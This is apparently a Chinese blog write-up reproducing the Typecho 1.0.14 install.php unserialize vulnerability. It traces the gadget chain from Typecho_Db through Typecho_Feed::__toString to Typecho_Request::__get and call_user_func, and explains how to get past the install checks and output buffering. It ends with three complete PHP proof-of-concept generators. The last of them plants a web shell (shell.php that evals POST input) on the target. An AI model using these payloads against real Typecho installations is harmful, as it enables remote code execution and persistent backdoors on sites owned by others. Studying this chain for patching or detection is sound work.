2017年10月24日之前的所有版本
下载地址:http://typecho.org/
,这里主要是说下,在intall
之前,需要我们手动去数据库添加Typecho
数据库
我之前去官网下载的0.9的版本,结果复现失败,想下载之前的版本,官网也没有了,这里找到了1.0.14版本
链接:https://pan.baidu.com/s/1Cc7qJfGSwVop9L1X4pC67Q
提取码:fwvp
漏洞入口:install.php
246行
<?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); $type = explode('_', $config['adapter']); $type = array_pop($type); try { $installDb = new Typecho_Db($config['adapter'], $config['prefix']); $installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); } ?>
明显的一个反序列化函数,但是如何利用呢,反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的有这几个。
__destruct()
__wakeup()
__toString()
__call()
__get()
其中__destruct()
是在对象被销毁的时候自动调用,__Wakeup
在反序列化的时候自动调用,__toString()
是在调用对象当作字符串的时候自动调用。__call()
是在对象调用的方法不存在的时候自动调用。__get()
是在读取不可访问的属性的值的时候自动调用
先查看Typecho_Cookie
类中的get()
函数吧:存在于Cookie.php
这里的key
即是__typecho_config
,我们可以通过COOKIE
或者POST
传参并返回成为config
,install.php
又存在这个代码:
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);
说明Typecho_Db
类的参数我们可控,回溯Typecho_Db
类:存在于Db.php
这里的adapterName
就是我们可控的config
,发现这里对adapterName
进行了字符替换,那当它为一个类的时候,那么就会自动调用__toString()
方法
所以这里如果构造的反序列化是一个数组,其中adapter
设置为某个类,就可以触发相应类的__toString
方法
全局搜索toString
在Typecho/var/Typecho/Feed.php
可以利用:
顺着分析__tostring()
函数
290行 调用了$item['author']->screenName
,$items
这是一个当前类的私有变量,$item
又是由$items
遍历而来,所以可控
这里的item['author']
调用了sceenName
方法,若item['author']
为一个类时,而且不存在sceenName
方法时,就会调用__get
魔术方法,所以全局搜索__get
魔术方法。
/var/Typecho/Request.php
发现可以利用
回溯get()
函数
跟进applyFilter
函数:
存在危险函数call_user_func
发现filter
是可控的
发现value
是通过params
传值的,
params
可控,所以value
可控,所以call_user_func
函数可以使用
回溯整条pop chain
:
首先就是反序列化可控的__typecho_config
,又对此实例化,使之成为Typecho_Cookie
类中的key
值,然后我们可以POST传入参数key
即__typecho_config
,在Typecho_Cookie
类中又存在adapterName
变量进行字符串的使用,而且adapterName
即为config['adapter']
可控,当我们使之为Feed.php
文件中的Typecho_Feed
类时,又会调用该类的__toString()
魔术方法,此类又存在可控变量$item['author']
调用screenName
,当可控参数为一个没有screenName
方法的类的时候,就会调用__get()
魔术方法,最后就到了Typecho_Request
类了,最后找到可以利用的危险函数call_user_func
install.php::__typecho_config (即为Typecho_Cookie类中的key值,通过post传参成为config) => Db.php::Typecho_Db (adapterName即为config['adapter']) => Feed.php::Typecho_Feed::__toString()::$item['author']->screenName ($item['author']可控) => Request.php::Typecho_Request::__get()::get()::applyFilter()::call_user_func
最后在install.php
还存在两个exit
,我们需要满足他们:
就是
1.finish参数不为空
2.Referer为本站
构造poc:
<?php class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_filter[0]='assert'; $this->_params['sceenName']='phpinfo()'; } } class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type = self::RSS2; $this->_items['0']=array( 'author'=>new Typecho_Request(), ); } } $a = new Typecho_Feed(); $b = array( 'adapter' => $a, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($b))); ?>
当提交payload
后,服务器会回显500:
根据https://paper.seebug.org/424/
讲解如下:
在install.php
的开始,调用了ob_start()
因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()
执行,原本的输出会在缓冲区被清理。
我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。
这里有两个办法。 1、因为call_user_func
函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。最后POC:
<?php class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { // $this->_params['screenName'] = 'whoami'; $this->_params['screenName'] = -1; $this->_filter[0] = 'phpinfo'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; /** 定义ATOM 1.0类型 */ const ATOM1 = 'ATOM 1.0'; /** 定义RSS时间格式 */ const DATE_RFC822 = 'r'; /** 定义ATOM时间格式 */ const DATE_W3CDTF = 'c'; /** 定义行结束符 */ const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; } } $x = new Typecho_Feed(); $a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?>
但其实还有另一种利用方法,即使500了也还是执行了命令的,所以我们可以直接写入后门,代码如下:
<?php class Typecho_Request { private $_filter = array(); private $_params = array(); public function __construct(){ $this->_filter[0] = 'assert'; $this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[w0s1np]); ?>")'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type = self::RSS2; $this->_items[0] = array( 'author' => new Typecho_Request(), ); } } $final = new Typecho_Feed(); $poc = array( 'adapter' => $final, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($poc))); ?>
虽然使用后,服务器还是回显500,但后门会成功写入